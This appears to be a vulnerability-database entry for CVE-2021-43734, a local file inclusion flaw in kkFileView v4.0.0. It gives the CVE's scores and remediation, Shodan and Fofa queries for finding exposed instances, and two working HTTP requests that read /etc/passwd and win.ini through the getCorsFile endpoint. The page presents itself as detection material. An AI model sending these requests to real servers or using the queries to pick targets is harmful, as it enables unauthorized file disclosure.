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CVE-2021-43734: kkFileview v4.0.0 - Local File Inclusion

TitlekkFileview v4.0.0 - Local File Inclusion
Authorarafatansari
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
RemediationUpgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.
CVSS Score7.5
EPSS Score0.75482
CVE IDCVE-2021-43734
CWE IDCWE-22
Shodan Queryhttp.html:"kkFileView"http.html:"kkfileview"
Fofa Querybody="kkfileview"app="kkfileview"
Tags cve2021 cve kkfileview traversal lfi keking vuln

🔍 Vulnerability Description

kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.

🌐 HTTP Request

GET /getCorsFile?urlPath=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /getCorsFile?urlPath=file:///c://windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43734.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43734.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A